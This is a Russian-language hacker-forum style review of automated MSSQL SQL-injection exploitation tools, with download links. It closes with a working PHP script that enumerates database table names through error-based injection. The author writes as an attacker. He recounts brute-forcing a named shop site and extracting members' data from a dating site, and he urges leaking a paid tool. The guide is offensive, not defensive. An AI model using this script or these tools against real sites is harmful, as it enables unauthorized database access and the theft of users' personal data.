Всем известно, что ручной перебор имен таблиц и полей через сообщение об
ошибке вывода MSSQL дело муторное, и требующее не дюжего терпения. Однажды я два
дня перебирал только названия таблиц известного сайта shop.private.com, после
того как обнаружил на нем инъекцию. И уже тогда ко мне в голову закралась мысль,
где бы найти автоматический эксплойтер под MSSQL, и вот теперь я хочу поделиться
с вами результатами моих поисков и самое главное, дать объективную и
непредвзятую характеристику существующим продуктам.
MSSQL Exploiter
Скачат:
http://axf.watchfire.com/extensions/Exploiter-1.0-Bin.zip или
http://hack-shop.org.ru/download_files/Exploiter.rar
Видео по работе с ним:
http://download.watchfire.com/ExploiterDemo/index.htm
Несмотря на хороший интерфейс, возможности программы прямо скажем сильно
ограничены. Она корректно распознает только идеальные инъекции, которых с каждым
днем становится все меньше и меньше.
Ко всему этому следует добавить то, что сам видеоролик, показывающий работу
программы, не совсем точен, поэтому если следовать его советам, то
проэксплойтить не удастся даже идеальную инъекцию. Что бы разобраться, какие
именно параметры вводить для успешного эксплойтинга, придется попотеть,
перехватывая и анализирую трафик, отправляемый MSSQL Exploiter-ом на уязвимый
сайт.
Резюме: проще все сделать руками, чем данной софтом. Но для любителей
нетрадиционного секса с хак-тузлами, MSSQL Exploiter как раз то, что нужно.
SQL Injector and Scanner
Скачать:
http://www.priamos-project.com/versions.htm
Тут же можно скачать aspскрипт, на котором можно потестить тузлу, а по
ссылке ниже посмотреть видео по работе с ней.
Видео:
http://www.priamos-project.com/demo.htm
SQL Injector and Scanner кроме того, что может автоматически эксплойтить
MSSQL, так же может и искать уязвимые к инъекции скрипты в заданной директории.
Большим плюсом является интуитивно понятный интерфейс и отлично оформленный
визуально вывод информации о найденных базах, таблицах и полях. Кроме того,
имеется возможность сохранения результатов вывода данных в Excel, что очень
приятно.
Но есть и существенные недостатки: работает тузла не на всех инъекциях, у
меня она определяла реально 25% от уже найденных инъекций в MSSQL. Второй
существенный негативный момент в том, что SQL Injector and Scanner обнаружив
уязвимость, не всегда выводит всю имеющуюся в базе информацию, а так же очень
часто, определив названия таблиц, не может вывести названия полей. А уж вывод
информации из полей вообще редкая удача.
Резюме: лучше чем ничего, во всяком случае часть информации вы точно
получите. SQL Injector and Scanner плюс голова с руками, и MSSQL откроет перед
вами все свои секреты.
Pangolin
Ознакомится с данным продуктом, а также посмотреть видео-демонстартрацию его
работы:
http://nosec.org/en/pangolin.html
Приятный интерфейс и простота обращения с ней не может не радовать, а
количество поддерживаемых БД вызывает бурный восторг: MySQL, MSSQL, Oracle,
Sybase, DB2, Access, Informix, PostgreSQL, SQLite.
Единственным мало приятным моментом является то, что за
полнофункциональную версию Pangolin китайские товарищи хотят не много ни мало
9000$, а Free версия Pangolin поддерживает всего лишь работу с MSSQL и Access.
Но даже работа урезанной фриварной версии оставляет хорошее впечатление. Тест
показал, что Pangolin смог вытащить структуру таблиц и полей у большей половины
скормленных ему инъекций.
Кроме того, есть очень неплохая русскоязычная статья по использованию
Pangolin, ознакомится с ней ты можешь по этому адресу:
http://raz0r.name/obzory/pangolin-sql-inekcii-teper-ne-utomlyayut/
Резюме: респект китайским товарищам за качественно сделанный продукт,
однозначно Pangolin должен быть в наборе каждого уважающего себя искателя MSSQL
инъекций. А пока ждем доброго спонсора, который купит полнофункциональную версию
и поделится ей.
MSSQL Extractor
Существует еще очень толковый автоэксплойтер MSSQL от cash’а выполненный на
php, раньше доступный для работы на его сайте
http://hack-shop.org, но в
данный момент сайт закрыт. Но как известно из неформальных источников, исходники
MSSQL Extractor были переданы cash’ем нескольким людям, поэтому ждем, когда они
выставят его для общего пользования. Работа с MSSQL Extractor оставила у меня
самые теплые воспоминая, и хотя софт не был лишен недостатков – иногда выводил
не все таблицы и поля - зато он не требовал ничего, кроме браузера и Интернета.
Резюме: пока о MSSQL Extractor говорить смысла нет. Но может бы те, у
кого есть исходники MSSQL Extractor, выставят рабочую версию в Интернет для
всеобщего пользования... Это намек :).
Еще
Ну и на последок, бесплатный и простой автоэксплойтер MSSQL от хорошего
человека, известного под ником eraflame. Для его работы тебе будет нужен любой
сервер с поддержкой php:
<?php
echo "Дампаем таблицы:\n";
$link="http://xxx.com/info.php?id=1'+or+1=(SELECT+TOP+1+table_name+FROM+information_schema.tables)--";
$fp=file_get_contents($link);
if(preg_match("#nvarchar value '(.*?)' to a colum#",$fp,$r))
//Текст ошибки придется подбирать под свой случай.
{echo $r[1]."\n";}
for($i=1;$i<100;$i++) {
$link="http://xxx.com/info.php?id=1'+or+1=(SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+NOT+IN+(SELECT+TOP+$i+table_name+FROM+information_schema.tables))--";
$fp=file_get_contents($link);
if(preg_match("#nvarchar value '(.*?)' to a colum#",$fp,$r))
//Текст ошибки придется подбирать под свой случай.
{echo $r[1]."\n";}
}
?>
Он предельно прост и неприхотлив в эксплуатации, единственный его минус -
придется под каждый скуль-инжект его править. Хотя с другой стороны, какой это
минус, ведь ты зато будешь полностью уверен, что автоэксплойтер не передает
найденную тобой уязвимость своим разработчикам, каким-нибудь хитрым китайским
хакерам.
И еще, не всегда есть возможность выполнения второго подзапроса, но раскрутка
80-90% MSSQL инъекций превратятся для тебя в сплошное удовольствие. Единственный
момент: если на сервере большее 1500-2000 таблиц то работа скрипта под конец
существенно замедляется, а иногда MSSQL уходит в даун, но таких баз я не
встречал.
Так что выбор за тобой.
P.S. Ну и на последок совет - если ты используешь автоэксплойтеры, никогда до
конца не доверяй их результатам, так как они часто пропускают некоторые таблицы
и поля. У меня была ситуация, когда MSSQL Extractor упорно не выводил таблицу
users в одном известном датинге, и я долго ломал голову, где лежат данные
мемберов. В итоге я натравил на сайт Pangolin, он тоже умудрился пропустить пару
таблиц, но таблицу users обнаружил, и проблема с датингом была решена. Поэтому
мой совет - перепроверяй данные, выданные тебе автоэксплойтерами и будет тебе
счастье.
|